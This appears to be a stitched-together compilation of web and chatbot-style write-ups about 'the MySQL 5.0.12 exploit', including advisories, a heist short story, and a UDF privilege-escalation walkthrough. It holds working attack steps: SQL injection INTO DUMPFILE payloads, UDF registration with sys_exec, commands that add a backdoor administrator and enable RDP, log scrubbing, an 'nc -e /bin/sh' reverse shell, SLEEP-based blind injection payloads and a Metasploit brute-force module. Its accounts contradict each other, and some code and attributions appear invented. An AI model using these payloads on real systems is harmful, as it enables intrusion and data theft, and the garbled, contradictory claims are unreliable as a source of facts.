Vulnerability Alert: MySQL 5.0.12 exploit
Introduction
MySQL, a popular open-source relational database management system, has been a cornerstone of web applications for years. However, like any complex software, it's not immune to vulnerabilities. In this article, we'll discuss a critical exploit affecting MySQL version 5.0.12 and provide guidance on mitigation and prevention.
The Vulnerability
The MySQL 5.0.12 exploit takes advantage of a vulnerability in the database server's handling of certain SQL queries. Specifically, the vulnerability lies in the COM_CHANGE_USER command, which allows an attacker to inject malicious input, potentially leading to arbitrary code execution.
Exploit Details
The exploit involves sending a specially crafted COM_CHANGE_USER packet to the MySQL server, which can trigger a buffer overflow. This overflow can be leveraged to execute arbitrary code on the server, potentially allowing an attacker to:
Affected Versions
The vulnerability affects MySQL version 5.0.12, which was released in 2005. It's essential to note that this version is outdated and has been superseded by newer, more secure versions.
Mitigation and Prevention
To protect your MySQL installation from this exploit:
Proof-of-Concept (PoC) and Exploitation
A PoC exploit has been publicly disclosed, demonstrating the feasibility of the attack. The exploit involves crafting a malicious COM_CHANGE_USER packet and sending it to the MySQL server. A successful exploitation can lead to the execution of arbitrary code on the server.
Conclusion
The MySQL 5.0.12 exploit highlights the importance of keeping software up-to-date and applying security best practices. By upgrading to a newer version, applying patches, restricting access, and monitoring server logs, you can significantly reduce the risk of exploitation.
Recommendations
Additional Resources
Disclaimer
The information provided in this article is for educational purposes only. We do not condone or encourage malicious activities. It's essential to use this information to protect your systems and promote security awareness.
Title: The Silent Stack
Log Entry: 03:47:22 UTC
Target: db-02-prod.internal.financials.corp
MySQL Version: 5.0.12-standard-log (Detected via passive fingerprinting)
Kai leaned back in his chair, the glow of three monitors painting his face in cool blues and neon greens. He wasn't a black-hat in the classic sense—no ransomware, no defacements. He was a ghost in the machine, a data whisperer. His current client, a shadowy hedge fund, had paid him a very specific bounty: prove you can get in, prove you can get out, and prove they won't notice until the quarterly audit.
The target was a legacy server running MySQL 5.0.12. It was a dinosaur, a relic from the mid-2000s, but it held the crown jewels: real-time transaction logs, user balances, and internal transfer triggers.
For three days, he’d probed the perimeter. The web application firewall was modern, aggressive. The SSH port was locked down with key-only authentication. But the database… the database was exposed to an internal API endpoint that had a blind spot.
He’d found it: a user-defined function (UDF) injection vector in a legacy stored procedure called calculate_interest. The procedure took a customer_id as a string—no sanitation. Normally, this would be a simple SQL injection. But this was MySQL 5.0.12. And Kai knew the secret.
The Weapon
MySQL 5.0.12 had a particular, beautiful flaw: on Windows systems (and this was a Windows Server 2003 box, he’d confirmed via ICMP quirks), the lib_mysqludf_sys.dll library could be loaded from the data directory if an attacker could write a file to disk.
Most DBAs thought their secure_file_priv setting protected them. But in 5.0.12, that variable didn't exist yet. The only barrier was filesystem permissions.
Kai’s pulse quickened. He crafted the first payload:
' UNION SELECT 'this_is_a_test' INTO OUTFILE 'C:\\MySQL\\data\\test.txt' --
The API returned a 500 Internal Server Error. That was good. It meant the query executed but the application didn’t know how to render the output. He checked the server’s response time: 1,200ms. A blind write.
He waited five minutes. Then he probed the file via a second injection:
' UNION SELECT LOAD_FILE('C:\\MySQL\\data\\test.txt') --
The response came back: this_is_a_test. He had file system write access.
The Exploit
Now came the dangerous part. He downloaded a compiled version of lib_mysqludf_sys.dll—a library that exposes sys_exec() and sys_eval()—from his offline archive. It was signed with a fake cert, but MySQL 5.0.12 didn’t verify signatures. He hex-encoded the DLL and broke it into 1KB chunks.
At 04:13 UTC, he began the upload:
' UNION SELECT 0x4D5A900003000000... INTO DUMPFILE 'C:\\MySQL\\data\\mysql\\plugin\\udf.dll' --
The plugin directory didn’t exist by default in 5.0.12. But the lib directory did. He adjusted the path to C:\\MySQL\\lib\\plugin\\udf.dll.
The server churned. No error. The DLL was in place.
He reconnected a fresh session—no need to restart the service, a quirk of the UDF loading mechanism in this version. Then he issued the command that changed everything:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
The response: Query OK, 0 rows affected (0.01 sec)
Kai exhaled slowly. He now had a backdoor into the operating system.
The Extraction
He didn’t run sys_exec('cmd.exe /c format C:'). That was amateur hour. Instead, he ran:
SELECT sys_eval('net user backdoor S3cr3t! /add');
SELECT sys_eval('net localgroup administrators backdoor /add');
SELECT sys_eval('reg add HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer /v fDenyTSConnections /t REG_DWORD /d 0 /f');
Within ninety seconds, he had RDP access over a torified VPN.
He navigated to the database data directory. The transaction logs were unencrypted. He ran a mysqldump with a custom filter, extracting only accounts with balances over $10,000 and their corresponding internal transfer histories.
The total exfiltration size: 22 MB. Time elapsed: 8 minutes.
The Cleanup
Kai was methodical. He dropped the UDF function:
DROP FUNCTION sys_eval;
He deleted the DLL from the filesystem using a final sys_eval('del C:\\MySQL\\lib\\plugin\\udf.dll'). He removed the backdoor user. He overwrote the test.txt file with garbage. He flushed the MySQL query logs—which, on this ancient version, were stored in C:\\MySQL\\data\\mysql.log—by writing a script that looped 10,000 SELECT 1; statements to bury his injection.
At 04:58 UTC, he closed the last connection.
The Aftermath
Three weeks later, Kai received a wire transfer for $250,000. The hedge fund had used his proof-of-concept to sue their DBA contractor for negligence. The server, they later learned, had been running MySQL 5.0.12 without patches for 1,847 days.
The CVE for the UDF arbitrary library loading wasn’t officially assigned until years later, but in the underground, it was simply called "The Silent Stack"—because the only sound you heard was your data walking out the door.
And somewhere, in a datacenter that no longer exists, a Windows Server 2003 box still sits powered off, its last log entry frozen in time: mysql 5.0.12 exploit
[Note] Normal shutdown
[Note] C:\MySQL\bin\mysqld-nt: Shutdown complete
But Kai knew the truth. Nothing in legacy systems is ever truly shutdown. It’s just waiting for someone who remembers the old tricks.
End of Log.
MySQL 5.0.12, released in the mid-2000s, is a legacy version of the popular relational database management system that is now considered highly insecure. While several vulnerabilities exist for this specific version, the most significant "exploit" associated with the 5.0.x branch typically involves unauthenticated bypass privilege escalation through specific protocol flaws The Most Notable Flaw: CVE-2012-2122
Although this vulnerability was discovered years after 5.0.12's release, it is the most "famous" exploit affecting older MySQL builds. It stems from a flaw in how the system handles the return value of the function during password verification. The Mechanism: On certain systems (where
can return values outside the -128 to 127 range), a hacker can repeatedly attempt to log in with a random password. Statistically, in about 1 out of every 256 attempts, the check will fail in a way that the database interprets as a "success." The Impact: This allows an attacker to gain full administrative (
) access to the database without knowing the password, simply by using a "brute-force" script that cycles through login attempts rapidly. User-Defined Function (UDF) Injection Another common exploit method for MySQL 5.0.12 involves UDF injection
. If an attacker gains even limited access (via SQL injection in a web application), they can attempt to:
Upload a malicious shared library (.so or .dll) to the server. CREATE FUNCTION
command to map a new SQL function to a system-level command (like
Execute arbitrary operating system commands with the privileges of the MySQL service user. Why It Matters Today
MySQL 5.0.12 is nearly two decades old. Running this version today exposes a system to: Buffer Overflows:
Older versions lacked the memory protections found in modern software. Lack of Encryption:
Support for modern TLS/SSL standards is either non-existent or broken. Publicly Available PoCs:
Exploits for these versions are built into automated tools like Metasploit, making it trivial for even "script kiddies" to compromise the server. Mitigation The only professional recommendation for MySQL 5.0.12 is an immediate upgrade
to a supported version (like 8.0 or 8.4 LTS). If a legacy application requires this specific version, it must be isolated in a firewalled environment with no external network access and strictly controlled local permissions. Python-based proof-of-concept
script to test if a legacy server is vulnerable to the password bypass flaw?
MySQL 5.0.12, released in 2005, is highly outdated and contains numerous critical vulnerabilities. Because this version is often featured in legacy systems or training environments like Metasploitable2, it is a common target for demonstration exploits. Key Vulnerabilities in MySQL 5.0.12
Older versions of MySQL 5.0 are susceptible to several "classic" exploits that allow attackers to bypass security or execute arbitrary code: Remote Code Execution (RCE) via COM_TABLE_DUMP:
CVE-2006-1518: A buffer overflow exists in the open_table function. By sending crafted COM_TABLE_DUMP packets with invalid length values, a remote attacker can potentially execute arbitrary code. Information Leak via Buffer Over-read:
CVE-2006-1516: Attackers can read sensitive portions of the server's memory by providing a username without a trailing null byte during the connection check. Privilege Escalation:
Stored Routine Vulnerabilities: Versions prior to 5.0.25 allow authenticated users to gain elevated privileges through specifically crafted stored routines. Denial of Service (DoS):
CVE-2006-3486: An off-by-one buffer overflow in the Instance Manager allows local users to crash the application. Common Exploitation Methods
In modern security testing, MySQL 5.0.12 is often exploited using automated tools:
SQL Injection Payloads: Many automated scanners like sqlmap specifically identify "MySQL >= 5.0.12" to use stacked queries or time-based blind payloads (e.g., using SLEEP()).
Authentication Bypass (CVE-2012-2122): While technically affecting later versions (5.1.x, 5.5.x), this famous "1 in 256" chance bypass is frequently associated with legacy MySQL security discussions. It allows an attacker to repeatedly attempt logins until a memcmp error grants access without a valid password. Recommended Security Actions If you are managing a system running MySQL 5.0.12: Vulnerability Details : CVE-2012-2122
Public exploit exists! ... sql/password. c in Oracle MySQL 5.1. x before 5.1. 63, 5.5. x before 5.5. 24, and 5.6. x before 5.6. 6, CVE Details CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL
MySQL 5.0.12 release is part of a legacy version series (MySQL 5.0.x) that contains several "classic" vulnerabilities often studied in cybersecurity and penetration testing. While 5.0.12 itself is an older build, it is vulnerable to several high-impact exploits discovered throughout the 5.0.x lifecycle.
The Most Famous Exploit: CVE-2012-2122 (The "1 in 256" Flaw)
Perhaps the most "interesting" exploit affecting versions in the 5.0 and 5.1 branches (including 5.0.12 in specific compiled environments) is the MySQL Authentication Bypass The Glitch : It was a "tragically comedic" logic error involving the function. The code assumed
would always return a value between -128 and 127. On certain platforms or with specific GCC optimizations, it returned values outside this range. The Result
: Because of this casting error, the server would occasionally return "true" for a password comparison even if the password was wrong. The Exploit : An attacker had a 1 in 256 chance
of successful login per attempt. A simple Bash loop could crack the root account in seconds: mysql -u root -p 'any_password' -h
Because version 5.0.12 is so old, it lacks many modern security patches, making it a "sitting duck" for several other attacks: Buffer Overflow (CVE-2006-1518) : A critical flaw in the open_table function. Attackers could send specially crafted COM_TABLE_DUMP
packets with invalid lengths to trigger a buffer overflow and potentially execute arbitrary code Privilege Escalation via Stored Routines
: Versions prior to 5.0.25 (which includes 5.0.12) allow authenticated users to gain elevated privileges through stored routines. Trigger File Privilege Escalation : Attackers with "FILE" privileges could create malicious
(trigger) files. By crashing the server to force a reload, they could trick the system into executing code as the UDF (User Defined Function) Injection
: This is a classic "Metasploitable" era exploit. If an attacker gains enough access to write to the plugin directory, they can upload a malicious DLL or shared object file and create a function like sys_exec() remote shell Exploit-DB Summary Table: MySQL 5.0.12 Risk Profile CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL
The MySQL 5.0.12 vulnerability typically refers to a critical User Enumeration and Authentication Bypass flaw (often cited as CVE-2012-2122 in later versions or related to the yaSSL library in the 5.0.x branch).
Here is a technical summary and post regarding this exploit for educational and security auditing purposes. 🛡️ Vulnerability Spotlight: MySQL 5.0.12 Exploitation
OverviewMySQL 5.0.12 (and other versions in the 5.0.x branch) contains several legacy vulnerabilities. One of the most documented issues for this specific era involves the way the server handles authentication packets and stack-based buffer overflows within the yaSSL implementation. 1. Technical Breakdown
Vulnerability Type: Stack-based Buffer Overflow / Authentication Bypass.
Affected Component: yaSSL (Yet Another SSL) library integrated into MySQL.
The Flaw: An attacker can send a specially crafted communication packet during the handshake phase. Because the software fails to properly bounds-check the input, it can overwrite the instruction pointer, leading to arbitrary code execution or a denial of service (DoS). 2. Exploitation Scenario
In many "CTF" (Capture The Flag) or legacy environments, this version is exploited using a User Enumeration bug. By sending a malformed password packet, the server responds differently if a username exists versus if it does not, allowing an attacker to map out valid database users.
Common Exploit Method (Metasploit):Security researchers often use the mysql_yassl_get_hello or mysql_login modules to test these instances:
use auxiliary/scanner/mysql/mysql_login set RHOSTS [Target_IP] set USER_FILE /path/to/usernames.txt set PASS_FILE /path/to/passwords.txt run Use code with caution. Copied to clipboard 3. The "One in 256" Authentication Bypass
While most famous in version 5.5.x, the logic flaw where a user could log in with any password by repeatedly attempting to connect (due to a memcmp return value error) is a spiritual successor to the types of loose security found in the 5.0.x era. In version 5.0.12, the primary risks remain Remote Code Execution (RCE) via buffer overflows. 4. Remediation & Prevention
If you are still running MySQL 5.0.12, your system is highly vulnerable to modern automated exploit kits.
Immediate Action: Upgrade to a supported version (e.g., MySQL 8.0+ or MariaDB 10.x).
Network Level: Ensure the MySQL port (3306) is not exposed to the public internet. Use a VPN or SSH tunnel for remote access.
Configuration: Disable SSL if not required, or ensure you are using an updated OpenSSL library rather than the legacy yaSSL bundled with 5.0.12. Vulnerability Alert: MySQL 5
Disclaimer: This information is for educational purposes and authorized security testing only. Accessing systems without permission is illegal.
MySQL 5.0.12 Exploit: A Deep Dive
In 2005, a critical vulnerability was discovered in MySQL 5.0.12, a popular open-source relational database management system. This exploit allowed attackers to gain unauthorized access to sensitive data and execute arbitrary code on vulnerable systems. In this write-up, we'll delve into the details of the exploit, its impact, and the measures that can be taken to prevent similar attacks.
Vulnerability Overview
The MySQL 5.0.12 exploit is a buffer overflow vulnerability that exists in the mysql_real_escape_string() function. This function is used to escape special characters in user-input data to prevent SQL injection attacks. However, due to a flawed implementation, an attacker could inject malicious input that would overflow the buffer, allowing them to execute arbitrary code.
Exploit Details
The exploit involves sending a specially crafted packet to the MySQL server, which would trigger the buffer overflow. The packet would contain a large amount of data, exceeding the buffer size, and would be designed to execute malicious code on the server.
Here's a breakdown of the exploit:
Impact
The impact of this exploit was significant, as it allowed attackers to:
Mitigation and Prevention
To prevent similar attacks, the following measures can be taken:
Code Analysis
The vulnerable code in MySQL 5.0.12 is as follows:
char *mysql_real_escape_string(char *to, const char *from, size_t *to_length)
size_t to_offset = 0;
const char *from_offset = from;
while (*from_offset)
if (to_offset > *to_length - 1)
break;
if (*from_offset == '\\')
to[to_offset++] = '\\';
to[to_offset++] = '\\';
else if (*from_offset == '\'')
to[to_offset++] = '\\';
to[to_offset++] = '\'';
else
to[to_offset++] = *from_offset;
from_offset++;
to[to_offset] = '\0';
return to;
The patched version of the function includes additional checks to prevent buffer overflows:
char *mysql_real_escape_string(char *to, const char *from, size_t *to_length)
size_t to_offset = 0;
const char *from_offset = from;
size_t max_length = *to_length - 1;
while (*from_offset && to_offset < max_length)
if (*from_offset == '\\')
if (to_offset + 2 > max_length)
break;
to[to_offset++] = '\\';
to[to_offset++] = '\\';
else if (*from_offset == '\'')
if (to_offset + 2 > max_length)
break;
to[to_offset++] = '\\';
to[to_offset++] = '\'';
else
if (to_offset + 1 > max_length)
break;
to[to_offset++] = *from_offset;
from_offset++;
to[to_offset] = '\0';
return to;
Conclusion
The MySQL 5.0.12 exploit highlights the importance of secure coding practices and thorough testing to prevent buffer overflow vulnerabilities. By understanding the details of the exploit and taking measures to prevent similar attacks, developers and system administrators can help protect their systems and data from unauthorized access and malicious activities.
References
The MySQL 5.0.12 version is associated with a specific vulnerability involving user-defined functions (UDF) that can lead to Remote Code Execution (RCE) or privilege escalation. This exploit typically targets systems where an attacker has authenticated access but seeks to execute commands at the system level. Vulnerability Overview
In MySQL 5.0.12, the primary security flaw revolves around the database's ability to load external dynamic link libraries (DLLs on Windows or .so files on Linux). If an attacker can upload a malicious library to a directory reachable by the MySQL server, they can create a function that executes shell commands with the privileges of the MySQL service account. How the Exploit Works The exploitation process generally follows these steps:
Authentication: The attacker logs into the MySQL server (often via SQL injection or compromised credentials).
Library Upload: The attacker writes a malicious binary file to the server's disk using the SELECT ... INTO DUMPFILE command.
Function Creation: Using the CREATE FUNCTION statement, the attacker maps a function name to the uploaded library.
Example: CREATE FUNCTION exec_shell RETURNS INTEGER SONAME 'malicious_lib.so';
Execution: The attacker calls the new function to run OS-level commands, such as adding a new admin user or spawning a reverse shell. Historical Context: The "YaG0" Exploit
A well-known proof-of-concept for this version was published by a researcher named YaG0. It specifically targeted Windows environments, utilizing a DLL that provided a do_system function. This allowed users to bypass standard database restrictions and interact directly with the cmd.exe shell. Mitigation and Defense
Since MySQL 5.0.12 is severely outdated (released circa 2005), the most effective defense is upgrading to a modern, supported version. If you are securing a legacy system, consider these steps:
Secure File Privileges: Set the secure_file_priv variable to a specific, restricted directory or NULL to disable file exports/imports entirely.
Restrict Permissions: Ensure the MySQL service account does not have write access to sensitive system directories or the plugin directory.
Network Isolation: Use firewalls to ensure the MySQL port (3306) is not exposed to the public internet.
Multiple security flaws affect MySQL 5.0.12, ranging from buffer overflows to privilege escalation:
COM_TABLE_DUMP Buffer Overflow (CVE-2006-1518): This critical vulnerability exists in the open_table function within sql_base.cc. Attackers could send specially crafted COM_TABLE_DUMP packets with invalid length values to trigger a buffer overflow, potentially leading to remote code execution.
Windows LoadLibrary Denial of Service (CVE-2005-2572): On Windows installations, authenticated users with INSERT privileges on the mysql.func table could cause a server hang or execute code. By requesting a non-library file or a library not tailored for MySQL (like certain jpeg DLLs), they could block the LoadLibraryEx function.
SUID Privilege Escalation (CVE-2006-4227): Versions earlier than 5.0.25, including 5.0.12, reportedly allowed authenticated users to gain unauthorized privileges through a stored routine.
Format String Vulnerability (CVE-2006-3469): Authenticated users could cause a denial of service (crash) by passing a format string instead of a date to the date_format function. Modern Exploitation Context
In modern penetration testing, MySQL 5.0.12 is often cited in the context of Blind SQL Injection payloads.
Time-Based Blind Injection: Tools like sqlmap use specific payloads designed for MySQL versions ≥is greater than or equal to
5.0.12 that leverage the SLEEP() function to extract data when no direct output is visible.
Authentication Bypass (Comparison): While often confused with the "MySQL 5.0.12 exploit," the famous CVE-2012-2122 password bypass (1 in 256 chance of successful login with any password) affected much later versions, such as 5.1.x and 5.5.x. Mitigation and Risk Management
If you are still running MySQL 5.0.12, the system is considered highly insecure due to the age of these vulnerabilities.
Upgrade Immediately: The most effective solution is to upgrade to a supported version or, at minimum, a later patch in the legacy branch like MySQL 5.0.25 or higher.
Restrict Table Access: Limit access to the mysql.func and mysql.proc tables to prevent users from adding malicious functions or routines.
Firewalling: Ensure the MySQL port (default 3306) is not accessible from the public internet to prevent remote packet-based overflows.
Security Audits: Use vulnerability scanners like Tenable Nessus to identify unpatched legacy services in your infrastructure. MySQL yaSSL CertDecoder::GetName Buffer Overflow - Rapid7
I can’t help with exploiting software or writing instructions to attack systems. I can, however, write an interesting, high-quality essay about the historical context, technical features, security challenges, and lessons learned from vulnerabilities in older MySQL releases (including 5.0.12) — focusing on defensive, historical, and educational perspectives. Here’s a concise outline; tell me if you want the full essay and which angle to emphasize (historical timeline, technical analysis of common vulnerability types, patching/mitigation, or lessons for modern DBAs).
Outline
If you want the full essay, pick an emphasis:
Which would you like?
The MySQL 5.0.12 release (circa 2005) is famously associated with the introduction of Stored Procedures and User Defined Functions (UDF), which became the primary vectors for privilege escalation in legacy systems like Metasploitable 2.
The following write-up details the standard exploitation path used to gain a root shell from an authenticated MySQL session or SQL injection on this version. 1. Vulnerability Overview
Vulnerability Type: Privilege Escalation / Remote Code Execution (RCE).
Vector: User Defined Function (UDF) Dynamic Library Injection. Conditions: Proof-of-Concept (PoC) and Exploitation A PoC exploit has
The MySQL service is running as root (common in older/misconfigured setups).
The attacker has a valid MySQL login or a SQL injection point with FILE privileges.
The secure_file_priv variable is empty (allowing files to be written anywhere). 2. Exploitation Walkthrough Phase 1: Information Gathering
First, verify the environment and permissions. You need to know where the plugin directory is and if you have the right to write files.
-- Check MySQL version SELECT version(); -- Should be 5.0.12 or similar -- Check if running as root SELECT user(); -- Find the plugin directory (where we must drop our library) SHOW VARIABLES LIKE 'plugin_dir'; Use code with caution. Copied to clipboard Phase 2: Payload Delivery
The goal is to upload a shared object (.so on Linux, .dll on Windows) that contains a function to execute system commands. The most common tool for this is the lib_mysqludf_sys.so library.
Prepare the binary: Convert the shared library into a hex string. Inject into a table:
USE mysql; CREATE TABLE f_exploit(line longblob); INSERT INTO f_exploit VALUES (load_file('/tmp/lib_mysqludf_sys.so')); Use code with caution. Copied to clipboard Dump to the Plugin Directory:
SELECT * FROM f_exploit INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; Use code with caution. Copied to clipboard
Note: In MySQL 5.0.x, the plugin directory might simply be /usr/lib/ or /var/lib/mysql/. Phase 3: Triggering RCE
Once the library is on disk, you must "register" the new function within MySQL to use it.
-- Create the function mapping CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; -- Verify the function exists SELECT * FROM mysql.func; -- Execute a command (e.g., creating a reverse shell) SELECT sys_exec('nc -e /bin/sh Use code with caution. Copied to clipboard 3. Impact and Remediation
Impact: Full system compromise. Since MySQL 5.0 often ran as the root user, the sys_exec command executes with the highest possible privileges. Remediation:
Upgrade: Modern versions of MySQL (5.7+) have significant protections against UDF injection. Upgrade to at least 5.0.25+ to patch related routine vulnerabilities.
Least Privilege: Never run the MySQL daemon as the root OS user. Use a dedicated mysql user with no shell access.
Secure File Priv: Set secure_file_priv to a specific, non-critical directory to prevent INTO DUMPFILE attacks.
This post outlines the vulnerabilities associated with MySQL versions 5.0.12 and later, primarily focusing on its susceptibility to Time-Based Blind SQL Injection attacks through functions like
Vulnerability Overview: MySQL >= 5.0.12 Time-Based Blind SQLi MySQL version 5.0.12 introduced the
function, which allows an attacker to conduct "time-based" blind SQL injection. Unlike standard SQL injection that returns data directly, a time-based attack relies on the database pausing its response for a specified duration if a condition is met. : An attacker injects a query that includes . If the server takes
seconds to respond, the attacker confirms the injected condition (e.g., "does the admin password start with 'A'?") is true. Payload Example ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 Historical Context & Related Exploits While version 5.0.12 is often cited in automated tools like
for time-based payloads, other critical vulnerabilities affected the broader MySQL 5.0.x branch: Authentication Bypass (CVE-2012-2122) : A famous flaw where a user could log in as
by repeatedly attempting to authenticate with an incorrect password. Due to a
casting error, it would occasionally return "true" and grant access. Privilege Escalation (CVE-2006-4227) : Versions earlier than
allowed authenticated users to gain elevated privileges through stored routines. Buffer Overflows
: Vulnerabilities in bundled libraries like yaSSL allowed for arbitrary code execution if SSL was enabled. Mitigation Steps
If you are still running legacy versions like MySQL 5.0.12, your system is highly vulnerable to modern automated exploitation tools. Immediate Upgrade
: Update to the latest stable version of MySQL or MariaDB. Version 5.0 has been End of Life (EOL) for over a decade. Use Parameterized Queries
: Prevent SQL injection at the application level by using prepared statements rather than concatenating user input into SQL strings. Principle of Least Privilege
: Ensure the database user account used by your web application has the minimum permissions necessary and cannot execute administrative functions or Network Security
: Disable remote root login and use firewalls to restrict database access to known application servers only.
Exploit Analysis: MySQL 5.0.12 and the Evolution of SQL Injection
In the world of database security, certain version milestones define the transition from basic attacks to sophisticated exploitation. MySQL 5.0.12
is one such milestone. While it is an ancient version by modern standards (released in 2005), it remains a significant topic for security researchers and penetration testers because of the specific features it introduced—features that fundamentally changed how SQL Injection (SQLi) is performed. 1. The Introduction of the
The most notable change in MySQL 5.0.12 was the introduction of the function. Before this version, attackers performing Time-Based Blind SQL Injection had to rely on heavy mathematical operations, such as the BENCHMARK() function, to force a delay in the server's response. Pre-5.0.12: Attackers used BENCHMARK(5000000, MD5(1))
to consume CPU cycles and create a measurable lag. This was noisy, resource-intensive, and sometimes unpredictable. MySQL 5.0.12+: SLEEP(seconds)
function allowed for a precise, "quiet" delay. An attacker could inject a payload like: ' OR IF(1=1, SLEEP(5), 0) --
If the server paused for exactly five seconds, the attacker confirmed their logical statement was true. 2. Stacked Queries and Driver Dependency MySQL 5.0.12 is often cited in automated tools like as a baseline for Stacked Queries
Stacked queries allow an attacker to terminate the original intended query and start an entirely new one using a semicolon (
). While the MySQL server itself supports this, its success often depends on the underlying database driver (like PHP’s vs. the older extension). 3. Vulnerability Landscape of the 5.0.x Branch
MySQL 5.0.12 was part of the early "Beta" and "Production" transition of the 5.0 series. As a result, it was susceptible to several critical vulnerabilities that were patched in later 5.0.x sub-versions: Vulnerability Type Description Affected Range Buffer Over-read check_connection
function allowed reading portions of memory via a username without a trailing null byte ( CVE-2006-1516 Up to 5.0.20 Privilege Escalation
Authenticated users could gain unauthorized privileges through stored routines ( CVE-2006-1517 Up to 5.0.24 Remote Code Execution COM_TABLE_DUMP packets could trigger a buffer overflow in sql_base.cc CVE-2006-1518 Up to 5.0.20 4. Advanced Exploitation: The INTO DUMPFILE For versions like 5.0.12, if an attacker gains
privileges, they can move from database access to full system compromise. By using the SELECT ... INTO DUMPFILE
command, an attacker can write binary files directly to the server's filesystem. Write a "User Defined Function" (UDF) or a web shell. The Result:
Execution of arbitrary OS commands with the permissions of the MySQL < 5.0.25 / 5.1.12 Privilege Escalation - Tenable
While the full source of MySQL 5.0.12 is available, the critical segment looks roughly like this (pseudocode reconstructed from analysis):
// Inside mysql_real_connect()
char server_version[256]; // Fixed-size buffer on stack
// ...
packet = get_server_handshake(MySQL socket);
// Extract version string from packet, no length check
strcpy(server_version, packet->version); // BOOM – overflow if version > 255 bytes
In reality, the version string is taken from the server’s initial greeting. The protocol allows up to 255 bytes for that string, but MySQL 5.0.12 client code does not validate the length before copying it via strcpy() or similar unsafe function.
The MySQL handshake involves negotiation of capabilities, authentication methods, and server strings. Each field is an opportunity for malformed input. Modern protocols like gRPC or HTTP/2 use rigorous parsers (e.g., state machines, not raw memory copies).
If an attacker controls network traffic between a client and a legitimate MySQL server (e.g., on a shared Wi-Fi), they can inject a malicious handshake packet that appears real but contains the overflow.
Escalation: If the initial exploit doesn't yield desired access levels, consider techniques to escalate privileges.
Post-Exploitation: Once access is gained, perform actions like data exfiltration, database modification, or using the database server as a pivot point.
Disclaimer: This content is for educational and defensive cybersecurity purposes only. Unauthorized use of these techniques against systems you do not own is a violation of the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
In the pantheon of database vulnerabilities, few have sparked as much quiet panic among system administrators as the privilege escalation attack against MySQL 5.0.12. Released in 2005, this version of the world’s most popular open-source database contained a flaw in its User Defined Function (UDF) component that turned a standard SQL injection vulnerability into full operating system compromise.
For modern developers running MySQL 8.0 or MariaDB 10.x, this exploit seems like ancient history. However, legacy systems are stubborn. Even today, security scanners occasionally find MySQL 5.0.12 running on forgotten internal servers, industrial control systems, or outdated appliances. Understanding this exploit is not just a history lesson; it is a masterclass in privilege escalation, shared library injection, and why least privilege matters.